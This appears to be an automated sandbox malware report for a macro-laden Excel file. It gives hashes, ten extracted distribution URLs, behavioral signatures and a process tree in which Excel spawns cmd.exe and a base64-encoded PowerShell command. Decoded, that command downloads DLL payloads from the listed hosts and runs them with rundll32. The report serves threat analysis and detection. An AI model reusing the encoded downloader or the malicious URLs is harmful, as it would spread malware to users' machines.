Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:21
Behavioral task
behavioral1
Sample
8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls
Resource
win10v2004-20241007-en
General
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Target
8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls
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Size
142KB
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MD5
d59046687deee1a8dc90e674f2db7388
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SHA1
675e0207e4d5973f5d67fd712b81c8299ca7f30e
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SHA256
8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089
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SHA512
14c0db04c72a51cf157159f156626f3ba40f0f63073a8a4292fb4d2e7f5d096343c52a93e07c3952f14f101972ca2b3775489bd1d103eb9424b2e03566459b0c
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SSDEEP
3072:F7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TI4Gx8:hcKoSsxzNDZLDZjlbR868O8K0c03D38J
Malware Config
Extracted
http://rkeeperua.com/include/FXBsVAOd1U/
http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
http://queens.renovatiog.ltd/wp-includes/LDH/
http://renovatiomarketing.com/renovatiomarketing.com/A/
http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
http://dandtpremierhomes.com/eapn/lpN6dcAppn/
http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
http://crisbdev.com/wp-content/2dmXYgLVdkV/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4800 808 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 10 IoCs
Processes:
powershell.exeflow pid process 23 1524 powershell.exe 26 1524 powershell.exe 29 1524 powershell.exe 64 1524 powershell.exe 67 1524 powershell.exe 71 1524 powershell.exe 72 1524 powershell.exe 74 1524 powershell.exe 77 1524 powershell.exe 80 1524 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 808 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1524 powershell.exe 1524 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1524 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE 808 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 808 wrote to memory of 4800 808 EXCEL.EXE cmd.exe PID 808 wrote to memory of 4800 808 EXCEL.EXE cmd.exe PID 4800 wrote to memory of 1524 4800 cmd.exe powershell.exe PID 4800 wrote to memory of 1524 4800 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8af776814a778a3cb932ff2ae370d1d02fc47c3959c243e170bb08c44ac9f089.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\rtyusdj.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3KB
MD5cfaeca812fe57984781eb36f185e6f35
SHA158c44284034e1681dca944d989b5d8ffeca6db93
SHA256b52dcbf00c8e24376222b881555b4f1238820d3fdcb993df29b83b111f192c6b
SHA512d69ecb57c5e3a30cffb091c4944ba96871c5dc7958d6bbbed98f05031c6e09a61449aa9babfb7a05382404f988b6ef33d3f64308ac271e04558b1486a7f62c7b